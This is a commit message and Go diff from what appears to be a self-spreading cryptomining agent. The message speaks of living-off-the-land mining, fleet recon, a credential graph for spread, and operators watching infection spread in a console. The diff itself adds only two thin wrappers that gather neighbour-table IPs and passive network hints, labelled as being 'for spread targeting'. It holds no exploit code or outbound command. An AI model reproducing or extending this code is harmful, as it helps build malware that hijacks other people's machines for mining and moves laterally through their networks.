Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/network_export.go

@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
 	return arpHosts()
 }
 
+// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
+func NeighborTableIPs() []string {
+	return neighborHosts()
+}
+
+// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
+func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
+	return CollectNetworkHints(maxHosts)
+}
+
 // PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
 func PrimaryLocalIPv4() (string, error) {
 	return primaryLocalIPv4()